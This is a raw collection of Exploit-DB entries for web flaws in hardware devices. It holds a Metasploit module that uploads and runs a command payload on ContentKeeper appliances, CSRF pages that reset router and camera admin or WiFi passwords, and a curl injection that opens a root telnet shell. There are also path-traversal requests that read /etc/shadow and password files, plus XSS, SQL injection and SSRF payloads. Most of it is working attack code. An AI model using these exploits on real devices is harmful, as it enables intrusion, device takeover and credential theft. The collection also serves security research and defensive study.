deardaniel/secdata-raw huggingface dataset:
Exploit-DB #16923
Description: ContentKeeper Web - Remote Command Execution (Metasploit)
Type: webapps
Platform: hardware
Date: 2010-10-09
Author: Metasploit

Exploit:
##
# $Id: contentkeeperweb_mimencode.rb 10617 2010-10-09 06:55:52Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'		   => 'ContentKeeper Web Remote Command Execution',
			'Description'  => %q{
					This module exploits the ContentKeeper Web Appliance. Versions prior
				to 125.10 are affected. This module exploits a combination of weaknesses
				to enable remote command execution as the Apache user. Following exploitation
				it is possible to abuse an insecure PATH call to 'ps' etc in setuid 'benetool'
				to escalate to root.
			},
			'Author' 	   => [ 'patrick' ],
			'Arch'		   => [ ARCH_CMD ],
			'License'      => MSF_LICENSE,
			'Version'      => '$Revision: 10617 $',
			'References'   =>
				[
					[ 'OSVDB', '54551'],
					[ 'OSVDB', '54552'],
					[ 'URL', 'http://www.aushack.com/200904-contentkeeper.txt' ],
				],
			'Privileged'	=> false,
			'Payload'      =>
				{
					'DisableNops' => true,
					'Space'       => 1024,
					'Compat'      =>
						{
							'PayloadType' => 'cmd',
							'RequiredCmd' => 'generic perl ruby telnet',
						}
				},
			'Platform'     => ['unix'],
			'Targets'      =>
				[
					[ 'Automatic', { } ]
				],
			'DisclosureDate' => 'Feb 25 2009',
			'DefaultTarget' => 0))

		register_options(
			[
				Opt::RPORT(80),
			],self.class)
	end

	def check
		connect
		sock.put("GET /cgi-bin/ck/mimencode HTTP/1.0\r\n\r\n")
		banner = sock.get(-1,3)
		disconnect

		if (banner =~ /500 Internal/)
			return Exploit::CheckCode::Vulnerable
		end
			return Exploit::CheckCode::Safe
	end

	def exploit

		exp = "#!/usr/bin/perl\n"
		exp << "print \"Content-type: text/html\\n\\n\"\;\n\n"
		exp << "system(\""
		exp << payload.encoded.gsub('"', '\"')
		exp << "\");\n"

		body = Rex::Text.encode_base64(exp)

		connect

		sploit = "POST /cgi-bin/ck/mimencode?-u+-o+bak.txt HTTP/1.1\r\n"
		sploit << "Host: #{datastore['RHOST']}\r\n"
		sploit << "Content-Length: #{body.length}\r\n\r\n"

		print_status("Uploading payload to target.")
		sock.put(sploit + body + "\r\n\r\n")
		disconnect

		select(nil,nil,nil,5)
		print_status("Calling payload...")
		connect
		req = "GET /cgi-bin/ck/bak.txt HTTP/1.1\r\n" # bak.txt is owned by apache, chmod 777 :) rwx
		req << "Host: #{datastore['RHOST']}\r\n"
		sock.put(req + "\r\n\r\n")

		handler
		disconnect
	end
end
Exploit-DB #44320
Description: Coship RT3052 Wireless Router - Persistent Cross-Site Scripting
Type: webapps
Platform: hardware
Date: 2018-03-20
Author: Sayan Chatterjee

Exploit:
######################################################################################
# Exploit Title: Coship RT3052 Wireless Router - Persistent Cross Site Scripting (XSS)
# Date: 2018-03-18
# Exploit Author: Sayan Chatterjee
# Vendor Homepage: http://en.coship.com/
# Category: Hardware (Wifi Router)
# Version: 4.0.0.48
# Tested on: Windows 10
# CVE: CVE-2018-8772
#######################################################################################
 
Proof of Concept
=================
URL: http://192.168.1.254 (Wifi Router Gateway)
Attack Vector : Network Name(SSID)
Payload : <script>alert("S@Y@N")</script>
 
Reproduction Steps:
------------------------------
1. Access the wifi router gateway [i.e, http://192.168.1.254]
2. Go to "Wireless Setting" -> "Basic"
3. Update "Network Name(SSID)" field with '<script>alert("S@Y@N")</script>'
4. Save the settings.
5. Go to "System Status" and you will be having "S@Y@N" popup.

#######################################################################################
Exploit-DB #46180
Description: Coship Wireless Router 4.0.0.48 / 4.0.0.40 / 5.0.0.54 / 5.0.0.55 / 10.0.0.49 - Unauthenticated Admin Password Reset
Type: webapps
Platform: hardware
Date: 2019-01-16
Author: Adithyan AK

Exploit:
<!--
# Exploit Title: Coship Wireless Router – Unauthenticated Admin Password Reset
# Date: 15.01.2019
# Exploit Author: Adithyan AK
# Vendor Homepage: http://en.coship.com/
# Category: Hardware (Wifi Router)
# Affected Versions : Coship RT3052 - 4.0.0.48, Coship RT3050 - 4.0.0.40, Coship WM3300 - 5.0.0.54, Coship WM3300 - 5.0.0.55, Coship RT7620 - 10.0.0.49.
# Tested on: MacOS Mojave v.10.14
# CVE: CVE-2019-6441

# Change the X.X.X.X in poc to Router Gateway address and save the below code as Exploit.html
# Open Exploit.html with your Browser
# Click on “Submit request”
# Password of the admin will now be changed as "password123"

# PoC :
-->

<html>
  <!-- Change the X.X.X.X with the router's IP address -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://X.X.X.X/apply.cgi" method="POST">
      <input type="hidden" name="page" value="regx/management/accounts.asp" />
      <input type="hidden" name="http_username" value="admin" />
      <input type="hidden" name="http_passwd" value="password123" />
      <input type="hidden" name="usr_confirm_password" value="password123" />
      <input type="hidden" name="action" value="Submit" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
Exploit-DB #46336
Description: Coship Wireless Router 4.0.0.x/5.0.0.x - WiFi Password Reset
Type: webapps
Platform: hardware
Date: 2019-02-11
Author: Adithyan AK

Exploit:
# Exploit Title: Coship Wireless Router – Wireless SSID Unauthenticated Password Reset
# Date: 07.02.2019
# Exploit Author: Adithyan AK
# Vendor Homepage: http://en.coship.com/
# Category: Hardware (WiFi Router)
# Affected Versions *: *Coship RT3052 - 4.0.0.48, Coship RT3050 - 4.0.0.40, Coship WM3300 - 5.0.0.54, Coship WM3300 - 5.0.0.55, Coship RT7620 - 10.0.0.49.
# Tested on: MacOS Mojave v.10.14
# CVE: CVE-2019-7564

#POC :

# Change the X.X.X.X in poc to Router Gateway address and save the below code as Exploit.html
# Open Exploit.html with your Browser
# Click on “Submit request”
# The password of the Wireless SSID will be changed to "password"

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://X.X.X.X/regx/wireless/wl_security_2G.asp
<http://router-ip/regx/wireless/wl_security_2G.asp>" method="POST">
      <input type="hidden" name="wl&#95;wep" value="disabled" />
      <input type="hidden" name="wl&#95;auth&#95;mode" value="none" />
      <input type="hidden" name="page" value="wl&#95;security&#95;2G&#46;asp" />
      <input type="hidden" name="wl&#95;unit" value="0" />
      <input type="hidden" name="action" value="Apply" />
      <input type="hidden" name="wl&#95;auth" value="0" />
      <input type="hidden" name="wl&#95;akm" value="psk&#32;psk2" />
      <input type="hidden" name="wl&#95;crypto" value="tkip&#43;aes" />
      <input type="hidden" name="wl&#95;wpa&#95;gtk&#95;rekey" value="0" />
      <input type="hidden" name="wl&#95;wpa&#95;psk" value="password" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
Exploit-DB #37524
Description: Cradlepoint MBR1400 and MBR1200 - Local File Inclusion
Type: webapps
Platform: hardware
Date: 2015-07-08
Author: Doc_Hak

Exploit:
# Exploit Title: Cradlepoint MBR LFI
# Date: 7/7/2015
# Exploit Author: Doc_Hak
# Vendor Homepage: https://cradlepoint.com/
# Version: 1200/1400 (REQUIRED)
# Tested on: Embedded linux

I found a local file include with root level permissions on
cradlepoint routers.  So far looks like it works on MBR1400 and MBR1200
routers, though others could be affected.  I say it is with root level
because it can read /etc/passwd and there is no "x" indicating the hash is
stored in the /etc/shadow file.  Therefore the root hash is included in
this file.

To access the root hash on Cradlepoint MBRs simply:

curl http://192.168.1.1/../../../../../../../../../../../../etc/passwd
Exploit-DB #46786
Description: Crestron AM/Barco wePresent WiPG/Extron ShareLink/Teq AV IT/SHARP PN-L703WA/Optoma WPS-Pro/Blackbox HD WPS/InFocus LiteShow - Remote Command Injection
Type: webapps
Platform: hardware
Date: 2019-05-03
Author: Jacob Baines

Exploit:
##
# Exploit Title: Barco/AWIND OEM Presentation Platform Unauthenticated Remote Command Injection 
# Date: 05/01/2019
# Exploit Author: Jacob Baines
# Tested on: Crestron AM-100 1.6.0.2
# CVE : CVE-2019-3929
# PoC Video: https://www.youtube.com/watch?v=q-PIjnPcu2k
# Advisory: https://www.tenable.com/security/research/tra-2019-20
# Writeup: https://medium.com/tenable-techblog/eight-devices-one-exploit-f5fc28c70a7c
# Affected Vendors/Device/Firmware:
#  - Crestron AM-100 1.6.0.2
#  - Crestron AM-101 2.7.0.1
#  - Barco wePresent WiPG-1000P 2.3.0.10
#  - Barco wePresent WiPG-1600W before 2.4.1.19
#  - Extron ShareLink 200/250 2.0.3.4
#  - Teq AV IT WIPS710 1.1.0.7
#  - InFocus LiteShow3 1.0.16
#  - InFocus LiteShow4 2.0.0.7
#  - Optoma WPS-Pro 1.0.0.5
#  - Blackbox HD WPS 1.0.0.5
#  - SHARP PN-L703WA 1.4.2.3
##

The following curl command executes the commands "/usr/sbin/telnetd -p 1271 -l /bin/sh" and "whoami" on the target device:

curl --header "Content-Type: application/x-www-form-urlencoded" \
--request POST \
--data "file_transfer=new&dir='Pa_Note/usr/sbin/telnetd -p 1271 -l /bin/shPa_Note'whoami" \
--insecure https://192.168.88.250/cgi-bin/file_transfer.cgi

Example:

albinolobster@ubuntu:~$ curl --header "Content-Type: application/x-www-form-urlencoded" --request POST --data "file_transfer=new&dir='Pa_Note/usr/sbin/telnetd -p 1271 -l /bin/shPa_Note'whoami" --insecure https://192.168.88.250/cgi-bin/file_transfer.cgi
root
albinolobster@ubuntu:~$ telnet 192.168.88.250 1271
Trying 192.168.88.250...
Connected to 192.168.88.250.
Escape character is '^]'.

~/boa/cgi-bin #
Exploit-DB #38034
Description: Cyberoam Firewall CR500iNG-XP 10.6.2 MR-1 - Blind SQL Injection
Type: webapps
Platform: hardware
Date: 2015-08-31
Author: Dharmendra Kumar Singh

Exploit:
# Exploit Title: Cyberoam : Blind SQL Injection
# Date: 31/Aug/2015
# Exploit Author: Dharmendra Kumar Singh
# Contact: dsingh63@outlook.com
# Vendor Homepage: http://www.cyberoam.com
# Software Link: http://www.cyberoam.com/NGFW/
# Version: CR500iNG-XP - 10.6.2 MR-1
# Category: Firewall

1. Description

The username field in the captive portal of Cyberoam NG firewall is vulnerable to SQL Injection and can be exploited to execute sql commands on the database.

The username field is vulnerable to the following types of SQL Injections

a) Boolean-based blind sql injection
b) Stacked queries

2. Proof of Concept

The data send to the server while logging in through the captive portal is like "mode=191&username=cyberuser&[CREDENTIAL_REDACTED]=[PII_REDACTED]57&producttype=0"
The query generated in backend server must be something like this
SELECT password FROM table_name WHERE username = 'cyberuser'

a) Boolean-based blind sql injection
If a valid username/password combination is known than boolean-based blind sql injection can be done. If username is set to cyberuser' AND 'x'='x , data send will be "mode=191&username=cyberuser' AND 'x'='x&[CREDENTIAL_REDACTED]=[PII_REDACTED]57&producttype=0"
And sql query will become

SELECT password FROM table_name WHERE username = 'cyberuser' AND 'x'='x'
A successfull login message will be received in response in this case. But if username is set to cyberuser' AND 'x'='y than login fail message will be received in response, since x is not equal to y, hence this confirms that username field is vulnerable to boolean-based blind sql injection

b) Stacked queries
if username is set to cyberuser';SELECT PG_SLEEP(5) --  the resultant sql query will become
SELECT password FROM table_name WHERE username = 'cyberuser';SELECT PG_SLEEP(5) -- '
The stacked sql query "SELECT PG_SLEEP(5)" will make the current session’s process sleep until 5 seconds have elapsed. This confirms that Postgresql Server is used and stacked queries can be executed by providing crafted input to username field.

3. Exploit

Since the techniques are blind hence it is recommended to use an automated tool like SQLMap to exploit the vulnerability. The following command can be used to initiate the exploit
sqlmap.py -u "http://example.com:8090/login.xml" --data "mode=191&username=cyberuser&[CREDENTIAL_REDACTED]=[PII_REDACTED]57&producttype=0"

4. Solution

The backend server scripts do not sanitize user-supplied data before using it in the SQL query. Hence by properly sanitizing the data received in GET variable "username", the vulnerability can be patched.

5. Conclusion

The Cyberoam NG Firewall devices <= Version: CR500iNG-XP - 10.6.2 MR-1 are vulnerable to blind SQL Injection and this vulnerability can be exploited by an attacker to compromise the application, access or modify data
Exploit-DB #45818
Description: D-LINK Central WifiManager CWM-100 - Server-Side Request Forgery
Type: webapps
Platform: hardware
Date: 2018-11-12
Author: hyp3rlinx

Exploit:
# Exploit Title: D-LINK Central WifiManager CWM-100 - Server-Side Request Forgery
# Author: John Page (aka hyp3rlinx)
# Date: 2018-11-09
# Vendor: http://us.dlink.com
# Product Link: http://us.dlink.com/products/business-solutions/central-wifimanager-software-controller/
# Version: Version 1.03 r0098
# CVE: N/A
# References:

# [Security Issue]
# Using a web browser or script SSRF can be initiated against internal/external systems 
# to conduct port scans by leveraging D-LINKs MailConnect component.

# The MailConnect feature on D-Link Central WiFiManager CWM-100 1.03 r0098 devices is intended 
# to check a connection to an SMTP server but actually allows outbound TCP to any port on any IP address, 
# leading to SSRF, as demonstrated by an index.php/System/MailConnect/host/127.0.0.1/port/22/secure/ URI.
# This can undermine accountability of where scan or connections actually came from and or bypass 
# the FW etc. This can be automated via script or using Web Browser.

# [Exploit/POC]
https://VICTIM-IP/index.php/System/MailConnect/host/port/secure/

reply: OK

#Scan internal port 22 SSH:

https://VICTIM-IP/index.php/System/MailConnect/host/VICTIM-IP/port/22/secure/
reply: OK
Exploit-DB #51556
Description: D-Link DAP-1325 - Broken Access Control
Type: webapps
Platform: hardware
Date: 2023-07-03
Author: ieduardogoncalves

Exploit:
# Exploit Title: D-Link DAP-1325 - Broken Access Control
# Date: 27-06-2023
# Exploit Author: ieduardogoncalves
# Contact : twitter.com/0x00dia
# Vendor : www.dlink.com
# Version: Hardware version: A1 
# Firmware version: 1.01
# Tested on:All Platforms


1) Description

Security vulnerability known as "Unauthenticated access to settings" or "Unauthenticated configuration download". This vulnerability occurs when a device, such as a repeater, allows the download of user settings without requiring proper authentication.


IN MY CASE,
Tested repeater IP: http://192.168.0.21/

Video POC : https://www.dropbox.com/s/eqz0ntlzqp5472l/DAP-1325.mp4?dl=0

2) Proof of Concept

Step 1: Go to
Repeater Login Page : http://192.168.0.21/

Step 2:
Add the payload to URL.

Payload:
http://{ip}/cgi-bin/ExportSettings.sh

Payload:
https://github.com/eeduardogoncalves/exploit
Exploit-DB #45084
Description: D-link DAP-1360 - Path Traversal / Cross-Site Scripting
Type: webapps
Platform: hardware
Date: 2018-07-24
Author: r3m0t3nu11

Exploit:
# Exploit Title: D-Link DAP-1360  File path traversal and Cross site
scripting[reflected] can lead to Authentication Bypass easily.
# Date: 20-07-2018
# Exploit Author: r3m0t3nu11
# Contact : http://twitter.com/r3m0t3nu11
# Vendor : www.dlink.com
# Version: Hardware version: F1
Firmware version: 6.O5
# Tested on:All Platforms


1) Description

After Successfully Connected to D-Link DIR-600
Router(FirmWare Version : 2.01), Any User Can Bypass The Router's
Root password as well bypass admin panel.

D-Link DAP-1360  devices with v6.x firmware allow remote attackers to
read passwords via a errorpage paramater which lead to absolute path
traversal attack,

Its More Dangerous when your Router has a public IP with remote login
enabled.


IN MY CASE,
Tested Router IP : http://192.168.70.69/



Video POC : https://www.dropbox.com/s/tvpq2jm3jv48j3c/D-link.mov?dl=0

2) Proof of Concept

Step 1: Go to
Router Login Page : http://192.168.70.69:80

Step 2:
Add the payload to URL.

Payload:
getpage=html%2Findex.html&errorpage=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fshadow&var%3Amenu=setup&var%3Apage=wizard&var%3Alogin=true&obj-action=auth&%3Ausername=admin&%3A[CREDENTIAL_REDACTED]=login&%3Asessionid=3a6a085



Now u can get root password by reading /etc/shadow.

2- XSS
  Step 1: Go to
Router Login Page : http://192.168.70.69:80

Step 2:
Add the payload to URL.

Payload:
getpage=html%2Findex.html&errorpage=<Script>alert('r3m0t3nu11')</script>&var%3Amenu=setup&var%3Apage=wizard&var%3Alogin=true&obj-action=auth&%3Ausername=admin&%3A[CREDENTIAL_REDACTED]=login&%3Asessionid=3a6a085

u will get r3m0t3nu11 name pop up as reflected xss

Greetz to : Samir Hadji,0n3,C0ld Z3r0,alm3refh group,0x30 team,zero way team.
Exploit-DB #18509
Description: D-Link DCS Series - Cross-Site Request Forgery (Change Admin Password)
Type: webapps
Platform: hardware
Date: 2012-02-22
Author: rigan

Exploit:
Title:   Dlink DCS series CSRF Change Admin Password 
Version: DCS-900, DCS-2000, DCS-5300 and possibly other.
Date:    2012-02-22
Author:  rigan - imrigan [sobachka] gmail.com
--
Description:
Dlink DCS is a series of network cameras. These cameras use a web interface which is prone to CSRF vulnerabilities. This flaw allows to change the administrator password. 
--
Exploit:
<html>
<body onload="javascript:document.forms[0].submit()">
<form method="POST" name="form0" action="http://your_target/setup/security.cgi">
<input type="hidden" name="rootpass" value="your_pass"/>
<input type="hidden" name="confirm" value="your_pass"/>
</form>
</body>
</html>
--
Exploit-DB #40983
Description: D-Link DI-524 - Cross-Site Request Forgery
Type: webapps
Platform: hardware
Date: 2016-12-09
Author: Felipe Soares de Souza

Exploit:
Title: D-Link DI-524 - Cross-Site-Request-Forgery Vulnerability
Credit: Felipe Soares de Souza
Date: 09/12/2016
Vendor: D-Link
Product: D-Link DI-524 Wireless 150
Product link: https://dlink.com.br/produto/di-524150
Version: Firmware 9.01


1- Reboot the device
	<html>
		<head>
			<title>CSRF - Reboot the device</title>
		</head>
		<body>
			<iframe width="1" height="1" src="http://192.168.0.1/cgi-bin/dial?rc=@&A=H&M=0&T=2000&rd=status"> </iframe>
		</body>
	</html>


2- Change admin account

	<html>
		<head>
			<title>CSRF - Change admin account</title>
		</head>
		<body>
			<form method="POST" action="http://192.168.1.1/cgi-bin/pass">
				<input type="hidden" name="rc" value="@atbox">
				<input type="hidden" name="Pa" value="attacker">
				<input type="hidden" name="p1" value="attacker">
			</form>

			<script type="text/javascript">
				document.forms[0].submit();
			</script>
		</body>
	</html>
Exploit-DB #46687
Description: D-Link DI-524 V2.06RU - Multiple Cross-Site Scripting
Type: webapps
Platform: hardware
Date: 2019-04-10
Author: Semen Alexandrovich Lyhin

Exploit:
# Exploit Title: Multiple Stored and Reflected XSS vulnerabilities in D-Link DI-524
# Date: April 6, 2019
# Exploit Author: Semen Alexandrovich Lyhin (https://www.linkedin.com/in/semenlyhin/)
# Vendor Homepage: https://www.dlink.com
# Version: D-Link DI-524 - V2.06RU
# CVE : CVE-2019-11017 

To re-create Reflected XSS vulnerability, log in to the Web Configuration (default credentials are: "admin":"" without double quotes), and send GET request to the router with malformed vulnerable parameter:

http://$IP/cgi-bin/smap?RC=@smap%22-$PAYLOAD-%22&rd=x&SEO=o&AC=O&SnO=1&SHO=2&StO=1&SpO=1&SPO=1

Where $IP may be equal to "192.168.0.1", $PAYLOAD may be equal to "alert(document.location)".

Stored XSS's were found in web forms on pages /spap.htm, /smap.htm. To inject malicious JavaScript to victim's webpage, an attacker should authorize on the router, then put a payload to any of the vulnerable forms, and wait, until victim opens router's web interface and goes to vulnerable page.

I haven't tested all the admin panel of the router, so I can guess that there are other XSS vulnerabilities in this router.
Exploit-DB #15753
Description: D-Link DIR-300 - Cross-Site Request Forgery (Change Admin Account Settings)
Type: webapps
Platform: hardware
Date: 2010-12-17
Author: outlaw.dll

Exploit:
<!--

[+] Title: D-Link DIR-300 CSRF Vuln. (Change Admin Account Settings) PoC Exploit
[+] Description: Enable Remote Menagement for specific IP
[+] Firmware Version: 1.04
[+] Note: No need administrator to be logged (:
[+] Author: outlaw.dll
[+] Date: 17.12.2010
[+] Tested on: Windows 7 Ultimate (Google Chrome) but will work in any other OS

This firmware version is full of CSRF and other type of vulnerabilities.
W_o.O_W

-->
<form name="exploit" action="http://server/tools_admin.php?NO_NEED_AUTH=1&AUTH_GROUP=0" method="post">
        <input type="hidden" name="ACTION_POST" value="1" />
        <input type="hidden" name="admin_name" value="outlaw.dll" />
        <input type="hidden" name="admin_password1" value="1337" />
        <input type="hidden" name="admin_password2" value="1337" />
        <input type="hidden" name="rt_enable_h" value="1" />
        <input type="hidden" name="rt_port" value="8080" />
        <input type="hidden" name="rt_ipaddr" value="192.168.0.1337" />
</form>
<script>document.exploit.submit();</script>
Exploit-DB #42581
Description: D-Link DIR-600 - Authentication Bypass
Type: webapps
Platform: hardware
Date: 2017-08-29
Author: Jithin D Kurup

Exploit:
# Exploit Title: D-Link DIR-600  - Authentication Bypass (Absolute Path Traversal Attack)
# CVE - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-12943
# Date: 29-08-2017
# Exploit Author: Jithin D Kurup
# Contact : https://in.linkedin.com/in/jithin-d-kurup-77b616142
# Vendor : www.dlink.com
# Version: Hardware version: B1
Firmware version: 2.01
# Tested on:All Platforms
 
 
1) Description
 
After Successfully Connected to D-Link DIR-600 
Router(FirmWare Version : 2.01), Any User Can Easily Bypass The Router's
Admin Panel Just by adding a simple payload into URL.

D-Link DIR-600 Rev Bx devices with v2.x firmware allow remote attackers to
read passwords via a model/__show_info.php?REQUIRE_FILE= absolute path traversal attack, 
as demonstrated by discovering the admin password.
 
Its More Dangerous when your Router has a public IP with remote login
enabled.
 
 
IN MY CASE,
Tested Router IP : http://190.164.170.249
 
 
 
Video POC : https://www.youtube.com/watch?v=PeNOJORAQsQ
 
2) Proof of Concept
 
Step 1: Go to
Router Login Page : http://190.164.170.249:8080
 
Step 2:
Add the payload to URL.

Payload: model/__show_info.php?REQUIRE_FILE=%2Fvar%2Fetc%2Fhttpasswd
 

 
Bingooo You got admin Access on router.
Now you can download/upload settiing, Change setting etc.
 
 
 
 
---------------Greetz----------------
+++++++++++ www.0seccon.com ++++++++++++
Saran,Dhani,Gem,Vignesh,Hemanth,Sudin,Vijith